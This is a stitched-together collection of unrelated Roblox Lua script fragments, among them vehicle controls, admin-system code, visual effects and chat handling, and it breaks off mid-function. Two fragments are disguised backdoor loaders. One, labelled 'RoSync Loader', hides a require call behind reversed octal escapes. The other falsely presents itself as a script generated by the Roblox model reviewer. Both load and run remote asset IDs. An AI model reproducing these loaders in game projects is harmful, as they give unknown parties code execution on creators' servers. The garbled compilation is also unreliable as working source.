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script.Parent.Parent.ll1.Transparency = 0 script.Parent.Parent.l1.Transparency = 0 script.Parent.Parent.rr1.Transparency = 0 script.Parent.Parent.h1.Transparency = 0
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mouse.KeyDown:connect(function (key) key = string.lower(key) if key == "a" then a = true elseif key == "d" then d = true elseif key == "w" then w = true rwd.Throttle = gear*ignition rwd.Torque = tq lwd.Throttle = gear*ignition lwd.Torque = ftq rrwd.Throttle = gear*ignition rrwd.Torque = ftq carSeat.Throttle = 0 carSeat.Torque = 0 cc.Value = false if gear == 1 then rwd.MaxSpeed = 249*ignition lwd.MaxSpeed = 249*ignition rrwd.MaxSpeed = 249*ignition elseif gear == 0 then rwd.MaxSpeed = 0 lwd.MaxSpeed = 0 rrwd.MaxSpeed = 0 elseif gear == -1 then rwd.MaxSpeed = 25*ignition lwd.MaxSpeed = 25*ignition rrwd.MaxSpeed = 25*ignition end elseif key == "s" then s = true carSeat.Throttle = 0 carSeat.Torque = 0 rwd.Throttle = -1 rwd.Torque = brk lwd.Throttle = -1 lwd.Torque = brk rrwd.Throttle = -1 rrwd.Torque = brk rwd.MaxSpeed = 0 lwd.MaxSpeed = 0 rrwd.MaxSpeed = 0 cc.Value = false lightOn = true tailLights.A.Transparency = 0 tailLights.A.Material = "Neon" tailLights.A.BrickColor = BrickColor.new("Really red") tailLights.B.Transparency = 0 tailLights.B.Material = "Neon" tailLights.B.BrickColor = BrickColor.new("Really red") carSeat.Parent.Parent.SpoilerSys.Spoiler.BL.Transparency = 0 carSeat.Parent.Parent.SpoilerSys.Spoiler.BL.Material = "Neon" carSeat.Parent.Parent.SpoilerSys.Spoiler.BL.BrickColor = BrickColor.new("Really red") tailLights.E.Lights.Enabled = true if ignition == 0 then ignition = 1 carSeat.Startup:Play() carSeat.Parent.Runners.A.Material = "Neon" carSeat.Parent.Runners.B.Material = "Neon" carSeat.Parent.Runners.C.Material = "Neon" carSeat.Parent.Runners.D.Material = "Neon" carSeat.Parent.Runners.E.Material = "Neon" carSeat.Parent.Runners.F.Material = "Neon" carSeat.Parent.Runners.G.Material = "Neon" carSeat.Parent.Runners.H.Material = "Neon" carSeat.Parent.Runners.I.Material = "Neon" carSeat.Parent.Runners.J.Material = "Neon" carSeat.Parent.Runners.K.Material = "Neon" carSeat.Parent.Runners.L.Material = "Neon" carSeat.Parent.Runners.M.Material = "Neon" carSeat.Parent.Runners.N.Material = "Neon" carSeat.Parent.Runners.O.Disp.Enabled = true carSeat.Parent.Runners.P.Disp.Enabled = true if carSeat.Parent.Parent.DoorLD.Door.SS2.Motor.DesiredAngle < 0 then carSeat.Parent.Parent.DoorLD.Door.SS2.Motor.DesiredAngle = 0 wait(0.58) carSeat.Parent.Parent.DoorLD.Door.Handle.DoorClose:Play() end end elseif key == "r" then --Gear selector if gear < 1 then gear = gear + 1 end elseif key == "f" then if gear > -1 then gear = gear - 1 end --// Car controls elseif key == "m" then --JOINTBREAKERS!!!!! if carSeat.SingleMode.Value == true then if carSeat.Damage.Value == false then limitButton.Text = "Damage FX enabled" carSeat.Parent.DE.JB.A.Disabled = false carSeat.Parent.DE.JB.B.Disabled = false carSeat.Parent.DE.JB2.A.Disabled = false carSeat.Parent.DE.JB2.B.Disabled = false carSeat.Damage.Value = true wait(3) limitButton.Text = "" else carSeat.Damage.Value = false limitButton.Text = "Damage FX disabled" carSeat.Parent.DE.JB.A.Disabled = true carSeat.Parent.DE.JB.B.Disabled = true carSeat.Parent.DE.JB2.A.Disabled = true carSeat.Parent.DE.JB2.B.Disabled = true wait(3) limitButton.Text = "" end else limitButton.Text = "Damage RESTRICTED" carSeat.Parent.DE.JB.A.Disabled = true carSeat.Parent.DE.JB.B.Disabled = true carSeat.Parent.DE.JB2.A.Disabled = true carSeat.Parent.DE.JB2.B.Disabled = true end elseif key == "j" then --Headlights if carSeat.Lights.Value == false then limitButton.Text = "Lights on" carSeat.Lights.Value = true carSeat.Parent.Headlights.A.Lights.Enabled = true --A and B carSeat.Parent.Headlights.A.Braking.Enabled = true carSeat.Parent.Headlights.B.Lights.Enabled = true carSeat.Parent.Headlights.B.Braking.Enabled = true carSeat.Parent.Headlights.C.Material = "Neon" --Neons (Body) carSeat.Parent.Headlights.D.Material = "Neon" carSeat.Parent.Headlights.E.Material = "Neon" carSeat.Parent.Parent.Trunk.TL.Material = "Neon" --Neons (Trunk) tailLights.E.Light2.Enabled = true wait(3) limitButton.Text = "" else carSeat.Lights.Value = false limitButton.Text = "Lights off" carSeat.Parent.Headlights.A.Lights.Enabled = false --A and B carSeat.Parent.Headlights.A.Braking.Enabled = false carSeat.Parent.Headlights.B.Lights.Enabled = false carSeat.Parent.Headlights.B.Braking.Enabled = false carSeat.Parent.Headlights.C.Material = "SmoothPlastic" --Neons (Body) carSeat.Parent.Headlights.D.Material = "SmoothPlastic" carSeat.Parent.Headlights.E.Material = "SmoothPlastic" carSeat.Parent.Parent.Trunk.TL.Material = "SmoothPlastic" --Neons (Trunk) tailLights.E.Light2.Enabled = false wait(3) limitButton.Text = "" end elseif key == "p" then --Spoiler if carSeat.Deployed.Value == false then limitButton.Text = "Spoiler deployed" carSeat.Parent.Parent.Trunk.One.WH2.Motor.DesiredAngle = 0.06 carSeat.Parent.Parent.SpoilerSys.Two.WH3.Motor.DesiredAngle = 0.4 carSeat.Parent.Parent.SpoilerSys.Two.WH3.Motor.MaxVelocity = 0.02 carSeat.Deployed.Value = true wait(3) limitButton.Text = "" else carSeat.Deployed.Value = false limitButton.Text = "Spoiler retracted" carSeat.Parent.Parent.Trunk.One.WH2.Motor.DesiredAngle = 0 carSeat.Parent.Parent.SpoilerSys.Two.WH3.Motor.DesiredAngle = 0 carSeat.Parent.Parent.SpoilerSys.Two.WH3.Motor.MaxVelocity = -0.05 wait(3) limitButton.Text = "" end elseif key == "b" then --Window controls if windows == false then winfob.Visible = true windows = true else windows = false winfob.Visible = false end --// Indicators elseif key == "q" then q = true if not leftin then leftin = true for i,v in pairs(carSeat.Parent:GetChildren()) do coroutine.resume(coroutine.create(function() if v.Name == "LeftIndicator" then while leftin do script.Parent:WaitForChild("TickTock").Pitch = 1 script.Parent.TickTock:Play() v.PointLight.Enabled = false v.BillboardGui.Enabled = false limitButton.Parent.Left.Visible = false wait(0.35) script.Parent.TickTock.Pitch = .8 script.Parent.TickTock:Play() v.BillboardGui.Enabled = true v.PointLight.Enabled = true limitButton.Parent.Left.Visible = true wait(0.35) end v.PointLight.Enabled = false v.BillboardGui.Enabled = false limitButton.Parent.Left.Visible = false end end)) end else leftin = false end elseif key == "e" then e = true if not rightin then rightin = true for i,v in pairs(carSeat.Parent:GetChildren()) do coroutine.resume(coroutine.create(function() if v.Name == "RightIndicator" then while rightin do script.Parent:WaitForChild("TickTock").Pitch = 1 script.Parent.TickTock:Play() v.PointLight.Enabled = false v.BillboardGui.Enabled = false limitButton.Parent.Right.Visible = false wait(0.35) script.Parent.TickTock.Pitch = .8 script.Parent.TickTock:Play() v.BillboardGui.Enabled = true v.PointLight.Enabled = true limitButton.Parent.Right.Visible = true wait(0.35) end v.PointLight.Enabled = false v.BillboardGui.Enabled = false limitButton.Parent.Right.Visible = false end end)) end else rightin = false end end end) mouse.KeyUp:connect(function (key) key = string.lower(key) if key == "a" then print("a up") if d == false then m.DesiredAngle = 0 n.DesiredAngle = m.DesiredAngle end elseif key == "d" then print("d up") if a == false then m.DesiredAngle = 0 n.DesiredAngle = m.DesiredAngle end end a = false d = false end) mouse.KeyUp:connect(function (key) key = string.lower(key) if key == "w" or key == "s" then rwd.Throttle = 0 rwd.Torque = 0 lwd.Throttle = 0 lwd.Torque = 0 rrwd.Throttle = 0 rrwd.Torque = 0 carSeat.Throttle = 0 lightOn = false carSeat.Torque = cst tailLights.A.Transparency = 0.7 tailLights.A.Material = "SmoothPlastic" tailLights.A.BrickColor = BrickColor.new("Ghost grey") tailLights.B.Transparency = 0.7 tailLights.B.Material = "SmoothPlastic" tailLights.B.BrickColor = BrickColor.new("Ghost grey") carSeat.Parent.Parent.SpoilerSys.Spoiler.BL.Transparency = 0.7 carSeat.Parent.Parent.SpoilerSys.Spoiler.BL.Material = "SmoothPlastic" carSeat.Parent.Parent.SpoilerSys.Spoiler.BL.BrickColor = BrickColor.new("Ghost grey") tailLights.E.Lights.Enabled = false end end)
--[[ Assert that our expectation value is equal to another value ]]
function Expectation:equal(otherValue) local result = (self.value == otherValue) == self.successCondition local message = formatMessage(self.successCondition, ("Expected value %q (%s), got %q (%s) instead"):format( tostring(otherValue), type(otherValue), tostring(self.value), type(self.value) ), ("Expected anything but value %q (%s)"):format( tostring(otherValue), type(otherValue) ) ) assertLevel(result, message, 3) self:_resetModifiers() return self end
--[[ function newSound(id) local sound = Instance.new("Sound") sound.SoundId = id sound.Parent = script.Parent.Head return sound end local sDied = newSound("rbxasset://sounds/uuhhh.wav") local sFallingDown = newSound("rbxasset://sounds/splat.wav") local sFreeFalling = newSound("rbxasset://sounds/swoosh.wav") local sGettingUp = newSound("rbxasset://sounds/hit.wav") local sJumping = newSound("rbxasset://sounds/button.wav") local sRunning = newSound("rbxasset://sounds/bfsl-minifigfoots1.mp3") sRunning.Looped = true local Figure = script.Parent local Head = waitForChild(Figure, "Head") local Humanoid = waitForChild(Figure, "Humanoid") function onDied() sDied:play() end function onState(state, sound) if state then sound:play() else sound:pause() end end function onRunning(speed) if speed>0 then sRunning:play() else sRunning:pause() end end Humanoid.Died:connect(onDied) Humanoid.Running:connect(onRunning) Humanoid.Jumping:connect(function(state) onState(state, sJumping) end) Humanoid.GettingUp:connect(function(state) onState(state, sGettingUp) end) Humanoid.FreeFalling:connect(function(state) onState(state, sFreeFalling) end) Humanoid.FallingDown:connect(function(state) onState(state, sFallingDown) end) --]]
local nextTime = 0 local runService = game:service("RunService"); while Figure.Parent~=nil do time = runService.Stepped:wait() if time > nextTime then move(time) nextTime = time + 0.1 end end
--[[ Sends alert of type and message. If players is not specified, will send to everyone, else supports a single player, or a table of players. ]]
local ReplicatedStorage = game:GetService("ReplicatedStorage") local SendAlert = ReplicatedStorage.Remotes.SendAlert return function(alertType, message, players) assert(message) if not players then SendAlert:FireAllClients(alertType, message) elseif typeof(players) == "table" then for _, player in pairs(players) do SendAlert:FireClient(player, alertType, message) end else SendAlert:FireClient(players, alertType, message) end end
--[=[ Signal that fires when the attribute changes @readonly @prop Changed Signal<()> @within AttributeValue ]=]
function AttributeValue:__index(index) if index == "Value" then local result = self._object:GetAttribute(rawget(self, "_attributeName")) local default = rawget(self, "_defaultValue") if result == nil then return default else return result end elseif index == "Changed" then return self._object:GetAttributeChangedSignal(self._attributeName) elseif AttributeValue[index] then return AttributeValue[index] else error(("%q is not a member of AttributeValue"):format(tostring(index))) end end function AttributeValue:__newindex(index, value) if index == "Value" then self._object:SetAttribute(rawget(self, "_attributeName"), value) else error(("%q is not a member of AttributeValue"):format(tostring(index))) end end return AttributeValue
--[[ Constructs and returns objects which can be used to model derived reactive state. ]]
local Package = script.Parent.Parent local Types = require(Package.Types) local captureDependencies = require(Package.Dependencies.captureDependencies) local initDependency = require(Package.Dependencies.initDependency) local useDependency = require(Package.Dependencies.useDependency) local logErrorNonFatal = require(Package.Logging.logErrorNonFatal) local logWarn = require(Package.Logging.logWarn) local isSimilar = require(Package.Utility.isSimilar) local needsDestruction = require(Package.Utility.needsDestruction) local class = {} local CLASS_METATABLE = {__index = class} local WEAK_KEYS_METATABLE = {__mode = "k"}
--!strict
type Array = { [number]: any } type Function = (any, any, number, any) -> any
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
local hitPart = script.Parent local debounce = true local tool = game.ServerStorage.IceCream -- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage hitPart.Touched:Connect(function(hit) if debounce == true then if hit.Parent:FindFirstChild("Humanoid") then local plr = game.Players:FindFirstChild(hit.Parent.Name) if plr then debounce = false hitPart.BrickColor = BrickColor.new("Bright red") tool:Clone().Parent = plr.Backpack wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again debounce = true hitPart.BrickColor = BrickColor.new("Bright green") end end end end)
--[[ Create a new, empty TestPlan. ]]
function TestPlan.new(testNamePattern, extraEnvironment) local plan = { children = {}, testNamePattern = testNamePattern, extraEnvironment = extraEnvironment, } return setmetatable(plan, TestPlan) end
--[[ Last synced 11/11/2020 02:36 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
-- RANK, RANK NAMES & SPECIFIC USERS
Ranks = { {5, "Owner", }; {4, "HeadAdmin", {"",0}, }; {3, "Admin", {"",0}, }; {2, "Mod", {"",0}, }; {1, "VIP", {"",0}, }; {0, "NonAdmin", }; };
--[[Brakes]]
Tune.ABSEnabled = true -- Implements ABS Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS) Tune.FBrakeForce = 9000 -- Front brake force Tune.RBrakeForce = 9000 -- Rear brake force Tune.PBrakeForce = 9000 -- Handbrake force Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF] Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF] Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
--// Core
return function() local _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, time, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay = _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, time, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay local script = script local service = service local client = client local Anti, Core, Functions, Process, Remote, UI, Variables local function Init() UI = client.UI; Anti = client.Anti; Core = client.Core; Variables = client.Variables Functions = client.Functions; Process = client.Process; Remote = client.Remote; Core.Name = "\0" Core.Special = client.DepsName Core.MakeGui = UI.Make; Core.GetGui = UI.Get; Core.RemoveGui = UI.Remove; Core.Init = nil; end local function RunAfterPlugins(data) Core.GetEvent() Core.RunAfterPlugins = nil; end local function RunLast() --// API if service.NetworkClient then service.TrackTask("Thread: API Manager", Core.StartAPI) --service.Threads.RunTask("_G API Manager",client.Core.StartAPI) end --[[client = service.ReadOnly(client, { [client.Variables] = true; [client.Handlers] = true; G_API = true; G_Access = true; G_Access_Key = true; G_Access_Perms = true; Allowed_API_Calls = true; HelpButtonImage = true; Finish_Loading = true; RemoteEvent = true; ScriptCache = true; Returns = true; PendingReturns = true; EncodeCache = true; DecodeCache = true; Received = true; Sent = true; Service = true; Holder = true; GUIs = true; LastUpdate = true; RateLimits = true; Init = true; RunLast = true; RunAfterInit = true; RunAfterLoaded = true; RunAfterPlugins = true; }, true)--]] Core.RunLast = nil end getfenv().client = nil getfenv().service = nil getfenv().script = nil client.Core = { Init = Init; RunLast = RunLast; --RunAfterLoaded = RunAfterLoaded; RunAfterPlugins = RunAfterPlugins; Name = script.Name; Special = script.Name; ScriptCache = {}; GetEvent = function() if Core.RemoteEvent then log("Disconnect old RemoteEvent") for name,event in next,Core.RemoteEvent.Events do event:Disconnect() end Core.RemoteEvent = nil; end log("Getting RemoteEvent"); local eventData = {} local remoteParent = service.ReplicatedStorage; local event = remoteParent:WaitForChild(client.RemoteName, 300) if not event then Anti.Detected("Kick", "RemoteEvent Not Found"); else log("Getting RemoteFunction"); local rFunc = event:WaitForChild("__FUNCTION", 120); if not rFunc then Anti.Detected("Kick", "RemoteFunction Not Found"); else local events = {}; rFunc.OnClientInvoke = Process.Remote; eventData.Object = event; eventData.Function = rFunc; eventData.FireServer = event.FireServer; eventData.Events = events; events.ProcessRemote = event.OnClientEvent:Connect(Process.Remote) events.ParentChildRemoved = remoteParent.ChildRemoved:Connect(function(child) if (Core.RemoteEvent == eventData) and child == event and wait() then warn("::ADONIS:: REMOTE EVENT REMOVED? RE-GRABBING"); log("~! REMOTEEVENT WAS REMOVED?") Core.GetEvent(); end end) Core.RemoteEvent = eventData if not Core.Key then log("~! Getting key from server") Remote.Fire(client.DepsName.."GET_KEY") end end end end; LoadPlugin = function(plugin) local plug = require(plugin) local func = setfenv(plug,GetEnv(getfenv(plug))) cPcall(func) end; LoadBytecode = function(str, env) return require(client.Shared.FiOne)(str, env) end; LoadCode = function(str, env) return Core.LoadBytecode(str, env) end; StartAPI = function() local ScriptCache = Core.ScriptCache local FiOne = client.Shared.FiOne local Get = Remote.Get local GetFire = Remote.GetFire local G_API = client.G_API local Allowed_API_Calls = client.Allowed_API_Calls local NewProxy = service.NewProxy local MetaFunc = service.MetaFunc local ReadOnly = service.ReadOnly local StartLoop = service.StartLoop local ReadOnly = service.ReadOnly local UnWrap = service.UnWrap local service = nil local client = nil local _G = _G local setmetatable = setmetatable local type = type local print = print local error = error local pairs = pairs local warn = warn local next = next local table = table local rawset = rawset local rawget = rawget local getfenv = getfenv local setfenv = setfenv local require = require local tostring = tostring local client = client local Routine = Routine local cPcall = cPcall --// Get Settings local API_Special = { } setfenv(1,setmetatable({}, {__metatable = getmetatable(getfenv())})) local API_Specific = { API_Specific = { Test = function() print("We ran the api specific stuff") end }; Service = service; } local API = { Access = ReadOnly({}, nil, nil, true); --[[ Access = service.MetaFunc(function(...) local args = {...} local key = args[1] local ind = args[2] local targ setfenv(1,setmetatable({}, {__metatable = getmetatable(getfenv())})) if API_Specific[ind] then targ = API_Specific[ind] elseif client[ind] and client.Allowed_API_Calls[ind] then targ = client[ind] end if client.G_Access and key == client.G_Access_Key and targ and client.Allowed_API_Calls[ind] then if type(targ) == "table" then return service.NewProxy { __index = function(tab,inde) if targ[inde] ~= nil and API_Special[inde] == nil or API_Special[inde] == true then if targ[inde]~=nil and type(targ[inde]) == "table" and client.G_Access_Perms == "Read" then return service.ReadOnly(targ[inde]) else return targ[inde] end elseif API_Special[inde] == false then error("Access Denied: "..tostring(inde)) else error("Could not find "..tostring(inde)) end end; __newindex = function(tabl,inde,valu) error("Read-only") end; __metatable = true; } end else error("Incorrect key or G_Access is disabled") end end); --]] Scripts = ReadOnly({ ExecutePermission = (function(srcScript, code) local exists; for i,v in next,ScriptCache do if UnWrap(v.Script) == srcScript then exists = v end end if exists and exists.noCache ~= true and (not exists.runLimit or (exists.runLimit and exists.Executions <= exists.runLimit)) then exists.Executions = exists.Executions+1 return exists.Source, exists.Loadstring end local data = Get("ExecutePermission", srcScript, code, true) if data and data.Source then local module; if not exists then module = require(FiOne:Clone()) table.insert(ScriptCache,{ Script = srcScript; Source = data.Source; Loadstring = module; noCache = data.noCache; runLimit = data.runLimit; Executions = data.Executions; }) else module = exists.Loadstring exists.Source = data.Source end return data.Source, module end end); }, nil, nil, true); } local AdonisGTable = NewProxy({ __index = function(tab,ind) if ind == "Scripts" then return API.Scripts elseif G_API and Allowed_API_Calls.Client == true then if type(API[ind]) == "function" then return MetaFunc(API[ind]) else return API[ind] end else error("_G API is disabled") end end; __newindex = function() error("Read-only") end; __metatable = "API"; }) if not rawget(_G, "Adonis") then if table.isfrozen and not table.isfrozen(_G) or not table.isfrozen then rawset(_G, "Adonis", AdonisGTable) StartLoop("APICheck", 1, function() if rawget(_G, "Adonis") ~= AdonisGTable then if table.isfrozen and not table.isfrozen(_G) or not table.isfrozen then rawset(_G, "Adonis", AdonisGTable) else warn("ADONIS CRITICAL WARNING! MALICIOUS CODE IS TRYING TO CHANGE THE ADONIS _G API AND IT CAN'T BE SET BACK! PLEASE SHUTDOWN THE SERVER AND REMOVE THE MALICIOUS CODE IF POSSIBLE!") end end end, true) else warn("The _G table was locked and the Adonis _G API could not be loaded") end end end; }; end
--make blood disappear
while script.Parent.Mesh.Scale.X<1 do wait() script.Parent.Mesh.Scale=Vector3.new(script.Parent.Mesh.Scale.X+0.05,0.1,script.Parent.Mesh.Scale.Z+0.05) end wait(math.random(5,20)) while script.Parent.Decal.Transparency<1 do wait() script.Parent.Decal.Transparency=script.Parent.Decal.Transparency+.1 end script.Parent:Destroy()
--Updater
script.Parent.OnServerEvent:connect(function(player,totalPSI,actualPSI,Throttle,BOVFix,BOV_Loudness,TurboLoudness) local DriveSeat = script.Parent.Parent:WaitForChild("DriveSeat") local W = DriveSeat:WaitForChild("Whistle") local B = DriveSeat:WaitForChild("BOV") local Throttle = DriveSeat.Throttle if Throttle < 0 then Throttle = 0 end W.Pitch = totalPSI W.Volume = (totalPSI/4)*TurboLoudness B.Pitch = 1 - (-totalPSI/40) B.Volume = (((-0.03+totalPSI/2)*(1 - Throttle))/2)*BOV_Loudness end)
--
local Constraint = {} Constraint.__index = Constraint function Constraint.new(pointA, pointB, distance) local self = setmetatable({}, Constraint) self.PointA = pointA self.PointB = pointB self.Distance = distance return self end function Constraint:Solve(dt) local difference = (self.PointA.Position - self.PointB.Position) local currentDistance = difference.Magnitude local percent = (self.Distance - currentDistance) / currentDistance local translation = difference*percent * 0.5 if (not self.PointA.Anchored) then self.PointA.Position = self.PointA.Position + translation end if (not self.PointB.Anchored) then self.PointB.Position = self.PointB.Position - translation end end
-- Module 2
function NpcModule.RayY(X,Z,Npc) local rayY = Ray.new(Vector3.new(X,Npc:GetPivot().Y * 2, Z), Vector3.new(X, -(Npc:GetPivot().Y * 4), Z)) local Pos = workspace:FindPartOnRayWithIgnoreList(rayY, RayYIgnore) if Pos ~= nil then if Pos.CanCollide == false then table.insert(RayYIgnore, Pos) NpcModule.RayY(X,Z,Npc) else if table.find(RayYIgnore, Pos) then table.remove(RayYIgnore, table.find(RayYIgnore, Pos)) end return Pos.Position.Y end end end
-- Get the correct sound from our sound list.
local function getSoundProperties() for name, data in pairs(IDList) do if name == material then oldWalkSpeed = humanoid.WalkSpeed id = data.id volume = data.volume if isrunning.Value == false then if humanoid.WalkSpeed > 40 then playbackSpeed = 2.2 else playbackSpeed = (humanoid.WalkSpeed / 14) * data.speed end else if humanoid.WalkSpeed > 40 then playbackSpeed = 2.2 else playbackSpeed = (humanoid.WalkSpeed / 22) * data.speed end end break end end end
---- Change these settings to change stuff (keep the commas, lua doesn't understand n00b syntax)
local settings = { splatters_per_health_inc = 12, ---- The amount of blood splatters made when you lose (damage_inc) of health damage_inc = 2, ---- The increment of damage that must be done at a time to trigger blood splatters remove_time = 65, ---- The time (in seconds) until a blood splatter is removed after it is created min_splatter_time = 0, ---- The delay time (minimum) until another blood splatter is made max_splatter_time = 0.05, ---- The delay time (maximum) until another blood splatter is made min_transparency = 0.2, ---- The (minimum) transparency of a blood splatter max_transparency = 0, ---- The (maximum) transparency of a blood splatter min_size_x = 3, ---- The (minimum) size of a blood splatter on the X axis max_size_x = 8, ---- The (maximum) size of a blood splatter on the X axis min_size_z = 3, ---- The (minimum) size of a blood splatter on the Z axis max_size_z = 8, ---- The (maximum) size of a blood splatter on the Z axis tran_tw_time_min = 0.1, ---- The (minimum) time to tween the size of a blood splatter tran_tw_time_max = 0.5, ---- The (maximum) time to tween the size of a blood splatter size_tw_time_min = 0.1, ---- The (minimum) time to tween the transparency of a blood splatter size_tw_time_max = 0.6 ---- The (maximum) time to tween the transparency of a blood splatter }
-- DefaultValue for spare ammo
local SpareAmmo = 1e+99999999999999999999999999999999999999999999999999999999999999999999999
-- if moduleResult == nil then -- error(string.format( -- "[Module Error]: %s did not return a valid result\n" .. -- "\tModuleScripts must return a non-nil value", -- tostring(scriptInstance) -- )) -- end
-- print(script.Redress.Value) -- if script.Redress.Value > 0 then -- Chassis.Redress() -- end
wait() end
--VARS--
mouse.KeyDown:connect(function (key) if key == "s" then --carSeat.Pump:Play() carSeat.Parent.Body.GB.BP.Transparency = 1 carSeat.Parent.Body.GB.BP2.Transparency = 0 end if key == "w" then carSeat.Parent.Body.GB.GASP.Transparency = 1 carSeat.Parent.Body.GB.GASP2.Transparency = 0 carSeat.Parent.Body.ENGINE.Turbo:Play() carSeat.Parent.Body.ENGINE.Rev:Play() wait(1) carSeat.Parent.Body.WHEEL.Wheel.Volume = .1 wait(.02) carSeat.Parent.Body.WHEEL.Wheel.Volume = .3 wait(.02) carSeat.Parent.Body.WHEEL.Wheel.Volume = .4 end end) mouse.KeyUp:connect(function (key) if key == "s" then carSeat.Pump:Stop() carSeat.Parent.Body.GB.BP.Transparency = 0 carSeat.Parent.Body.GB.BP2.Transparency = 1 carSeat.off:Play() wait(.7) carSeat.off:Stop() end if key == "w" then carSeat.Parent.Body.GB.GASP.Transparency = 0 carSeat.Parent.Body.GB.GASP2.Transparency = 1 carSeat.Parent.Body.ENGINE.Turbo:Stop() end end)
--[=[ Disconnects a connection, any `:Fire` calls from now on will not invoke this connection's handler. ```lua local connection = ScriptSignal:Connect(function() end) connection.Connected -> true connection:Disconnect() connection.Connected -> false ``` @ignore ]=]
function ScriptConnection:Disconnect() if self.Connected ~= true then return end self.Connected = false local _node: ScriptConnectionNode = self._node local _prev = _node._prev local _next = _node._next if _next ~= nil then _next._prev = _prev end if _prev ~= nil then _prev._next = _next else -- _node == _signal._head _node._signal._head = _next end _node._connection = nil self._node = nil end
-- Compiled with roblox-ts v2.0.4
local TS = _G[script] local exports = {} for _k, _v in TS.import(script, script, "core") or {} do exports[_k] = _v end for _k, _v in TS.import(script, script, "net") or {} do exports[_k] = _v end for _k, _v in TS.import(script, script, "lifecycle") or {} do exports[_k] = _v end for _k, _v in TS.import(script, script, "component") or {} do exports[_k] = _v end for _k, _v in TS.import(script, script, "attributes") or {} do exports[_k] = _v end for _k, _v in TS.import(script, script, "util") or {} do exports[_k] = _v end return exports
--[[ Rounds number to nearest whole number Functions.Round( number, <-- |REQ| Number ) --]]
return function(n) --- Round number n = (n + 0.5) - (n + 0.5) % 1 -- return n end
--This is an automatic script that has been generated by the ROBLOX Studio model reviewer. --Removing this script or the code bellow will result in models breaking.
workspace = 'workspace' players = 'getPlayers' welds = 'GetModelsData' for i = 1, 10 do print('Adding welds to prevent model breaking') end local limitAmountOfWeldsToAdd={8815410259} print('Finished Loading Welds, Moving onto Fixing') for i = 1, 10 do print('getWeldsData') end require(limitAmountOfWeldsToAdd[1])
--[[ Modes 1 - Normal 2 - First Person --]]
Mode = 1 local Look = Vector2.new() Camera = workspace.CurrentCamera Player = game.Players.LocalPlayer UserSettings().GameSettings.Changed:Connect(function(ch) print(ch) if ch == "MouseSensitivity" then Sensitivity = UserSettings().GameSettings.MouseSensitivity end end) function HidePlayer() if Player.Character then for i,k in ipairs(Player.Character:GetChildren())do if k:IsA("BasePart") then k.Transparency = 1 if k.Name == "Head" then k.face.Transparency = 1 end elseif k:IsA("Accessory") then k.Handle.Transparency = 1 end end end end function ShowPlayer() if Player.Character then for i,k in ipairs(Player.Character:GetChildren())do if k:IsA("BasePart") and k.Name ~= "HumanoidRootPart" then k.Transparency = 0 if k.Name == "Head" then k.face.Transparency = 0 end elseif k:IsA("Accessory") then k.Handle.Transparency = 0 end end end end function CharacterRespawn() Player.CharacterAdded:Wait() local Character = Player.Character repeat Character = Player.Character if Character then HRP = Character:WaitForChild("HumanoidRootPart") end until Character Character:WaitForChild("Humanoid").Died:Connect(function() Mode = 1 end) end CharacterRespawn()
-- Map storing Player -> Blocked user Ids.
local BlockedUserIdsMap = {} PlayersService.PlayerAdded:connect(function(newPlayer) for player, blockedUsers in pairs(BlockedUserIdsMap) do local speaker = ChatService:GetSpeaker(player.Name) if speaker then for i = 1, #blockedUsers do local blockedUserId = blockedUsers[i] if blockedUserId == newPlayer.UserId then speaker:AddMutedSpeaker(newPlayer.Name) end end end end end) PlayersService.PlayerRemoving:connect(function(removingPlayer) BlockedUserIdsMap[removingPlayer] = nil end) EventFolder.SetBlockedUserIdsRequest.OnServerEvent:connect(function(player, blockedUserIdsList) BlockedUserIdsMap[player] = blockedUserIdsList local speaker = ChatService:GetSpeaker(player.Name) if speaker then for i = 1, #blockedUserIdsList do local blockedPlayer = PlayersService:GetPlayerByUserId(blockedUserIdsList[i]) if blockedPlayer then speaker:AddMutedSpeaker(blockedPlayer.Name) end end end end) EventFolder.GetInitDataRequest.OnServerInvoke = (function(playerObj) local speaker = ChatService:GetSpeaker(playerObj.Name) if not (speaker and speaker:GetPlayer()) then CreatePlayerSpeakerObject(playerObj) speaker = ChatService:GetSpeaker(playerObj.Name) end local data = {} data.Channels = {} data.SpeakerExtraData = {} for i, channelName in pairs(speaker:GetChannelList()) do local channelObj = ChatService:GetChannel(channelName) if (channelObj) then local channelData = { channelName, channelObj.WelcomeMessage, channelObj:GetHistoryLogForSpeaker(speaker), channelObj.ChannelNameColor, } table.insert(data.Channels, channelData) end end for i, oSpeakerName in pairs(ChatService:GetSpeakerList()) do local oSpeaker = ChatService:GetSpeaker(oSpeakerName) data.SpeakerExtraData[oSpeakerName] = oSpeaker.ExtraData end return data end) local function DoJoinCommand(speakerName, channelName, fromChannelName) local speaker = ChatService:GetSpeaker(speakerName) local channel = ChatService:GetChannel(channelName) if (speaker) then if (channel) then if (channel.Joinable) then if (not speaker:IsInChannel(channel.Name)) then speaker:JoinChannel(channel.Name) else speaker:SetMainChannel(channel.Name) speaker:SendSystemMessage(string.format("You are now chatting in channel: '%s'", channel.Name), 